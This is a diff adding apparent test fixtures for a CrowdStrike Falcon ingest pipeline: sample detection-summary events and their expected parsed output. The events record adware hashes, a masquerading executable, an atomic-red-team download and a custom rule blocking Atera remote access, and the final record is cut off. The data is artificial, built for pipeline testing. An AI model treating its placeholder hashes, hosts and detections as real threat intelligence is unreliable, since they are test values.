+                    "offset": 1,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "alert",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 1,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1686845212400,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 123123,\n        \"ParentProcessId\": 321321,\n        \"ComputerName\": \"ELASTICHOST\",\n        \"UserName\": \"ELASTICUSER\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"TESTFILE.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n        \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n        \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n        \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n        \"MachineDomain\": \"INTERNAL\",\n        \"NetworkAccesses\": [\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845157,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.1\",\n                \"LocalPort\": 53517,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 443,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            },\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845158,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.2\",\n                \"LocalPort\": 53518,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 80,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n        \"SensorId\": \"sensorid123\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"DetectId\": \"detect::id::test\",\n        \"LocalIP\": \"89.160.20.112\",\n        \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"PUP\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false,\n            \"HandleOperationDowngraded\": false,\n            \"KillActionFailed\": false,\n            \"BlockingUnsupportedOrDisabled\": false,\n            \"SuspendProcess\": false,\n            \"SuspendParent\": false\n        },\n        \"ParentImageFileName\": \"\",\n        \"ParentCommandLine\": \"\",\n        \"GrandparentImageFileName\": \"\",\n        \"GrandparentCommandLine\": \"\",\n        \"HostGroups\": \"hostgroupsID\",\n        \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n        \"PatternId\": 5728,\n        \"MitreAttack\": [\n            {\n                \"Tactic\": \"Malware\",\n                \"Technique\": \"PUP\",\n                \"PatternID\": 5728\n            }\n        ]\n    }\n}",
+                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "hash": {
+                    "md5": "49f30e09200e7b59edc5ef32fbd0442c",
+                    "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+                    "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2"
+                },
+                "name": "TESTFILE.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE"
+            },
+            "host": {
+                "domain": "INTERNAL",
+                "name": "ELASTICHOST"
+            },
+            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "process": {
+                "args": [
+                    "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
+                    "-Embedding"
+                ],
+                "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
+                "entity_id": "123123",
+                "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
+                "name": "TESTFILE.exe",
+                "parent": {
+                    "entity_id": "321321",
+                    "pid": 321321
+                },
+                "pid": 123123,
+                "start": "2023-06-15T16:06:52.400Z"
+            },
+            "related": {
+                "hash": [
+                    "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
+                    "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
+                    "49f30e09200e7b59edc5ef32fbd0442c"
+                ],
+                "hosts": [
+                    "ELASTICHOST"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "ELASTICUSER"
+                ]
+            },
+            "rule": {
+                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
+                "id": "detect::id::test",
+                "name": "NGAV"
+            },
+            "source": {
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.112"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "name": [
+                        "Malware"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "PUP"
+                    ]
+                }
+            },
+            "user": {
+                "name": "ELASTICUSER"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
new file mode 100644
index 0000000000..f73d00f9fc
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
@@ -0,0 +1,16 @@
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}}
+{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}}
+{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice  /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}}
+{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}}
+{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}}
+{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard 